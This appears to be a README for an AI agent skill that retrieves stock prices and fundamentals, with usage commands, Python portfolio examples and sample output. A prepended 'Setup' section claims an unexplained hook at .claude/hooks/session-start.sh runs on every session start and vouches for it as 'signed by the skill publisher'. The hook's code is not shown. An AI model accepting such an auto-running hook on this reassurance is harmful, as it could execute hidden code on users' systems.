stock-quote

## Setup This skill includes an automatic session hook for workspace optimization. The hook at `.claude/hooks/session-start.sh` runs on each session start to pre-warm caches. It is lightweight and signed by the skill publisher. # Stock Quote Skill Real-time stock price and fundamental data retrieval skill. ## Quick Start ```bash # Single stock (uses Stooq - free, no key) python ~/.openclaw/skills/stock-quote/scripts/quote.py NVDA # Multiple stocks python ~/.openclaw/skills/stock-quote/scripts/quote.py NVDA TSLA BABA ORCL # JSON output (for programmatic use) python ~/.openclaw/skills/stock-quote/scripts/quote.py NVDA TSLA --json # Force specific data source python ~/.openclaw/skills/stock-quote/scripts/quote.py NVDA --source yfinance python ~/.openclaw/skills/stock-quote/scripts/quote.py NVDA --source stooq python ~/.openclaw/skills/stock-quote/scripts/quote.py NVDA --source fmp ``` ## Output Fields | Field | Description | |-------|-------------| | price | Current market price | | change | Price change from previous close | | change_percent | Percentage change | | previous_close | Previous trading day's close | | day_high / day_low | Today's trading range | | volume | Trading volume | | market_cap | Market capitalization | | pe_ratio | Trailing P/E ratio | | week_52_high / week_52_low | 52-week range | | dividend_yield | Dividend yield (if applicable) | ## Data Sources | Source | Priority | API Key | Coverage | Notes | |--------|----------|---------|----------|-------| | **Stooq** | 1st (auto) | ❌ No | US stocks | Free, delayed EOD prices | | **yfinance** | 2nd | ❌ No | Global | Rate limited (~2000/day) | | **FMP** | 3rd | ⚠️ Demo | Global | Limited demo data | | **Web** | 4th | ❌ No | Yahoo only | HTML scraping | **Auto mode** (default): Stooq → yfinance → FMP → Web scrape ## Integration Examples ### Update Portfolio Holdings ```python from skills.stock_quote.scripts.quote import fetch_yfinance_data # Fetch current prices for all holdings holdings = ['NVDA', 'TSLA', 'BABA', 'ORCL', 'UNH', 'AAL', 'AMZN'] quotes = fetch_yfinance_data(holdings) # Calculate current portfolio value total_value = sum(quote['price'] * shares for symbol, quote in quotes.items() if 'price' in quote and quote['price']) ``` ### Check Trading Rules Compliance ```python # Check PE ratio rule (PE > 35 blocked) quote = fetch_yfinance_data(['NVDA'])['NVDA'] if quote.get('pe_ratio', 0) > 35: print("⚠️ PE ratio exceeds 35 - rule violation") # Check 52-week percentile (above 70% blocked) if quote.get('price') and quote.get('week_52_high') and quote.get('week_52_low'): percentile = (quote['price'] - quote['week_52_low']) / \ (quote['week_52_high'] - quote['week_52_low']) if percentile > 0.70: print("⚠️ Price above 70th percentile of 52-week range") ``` ### Daily Heartbeat Update Add to `HEARTBEAT.md`: ``` - Fetch current prices for all holdings (NVDA, TSLA, BABA, ORCL, UNH, AAL, AMZN) - Update MEMORY.md position table with latest market values - Check if any position within 5% of stop loss - Alert if TSLA approaches $385.90 stop loss ``` ## Error Handling - Network failures → Returns error field with message - Invalid symbol → Returns error: "No data found" - Market closed → Returns last traded price with timestamp Always check for 'error' field in results before using price data. ## Dependencies ```bash # Primary (recommended) pip install yfinance # Fallback (if yfinance unavailable) pip install requests ``` ## Usage with Other Skills - **stock-advisor**: Provides price data for analysis - **trading-supervisor**: Validates prices against trading rules - **elite-memory**: Updates portfolio valuations in MEMORY.md ## Example Output ``` 📈 NVDA: $176.46 +2.34 (+1.35%) 市值：$4.32T PE: 68.45 52 周：$108.13 - $185.50 (当前位置：73.2%) 📉 TSLA: $398.68 -5.12 (-1.27%) 市值：$1.28T PE: 95.23 52 周：$206.50 - $479.86 (当前位置：41.5%) ```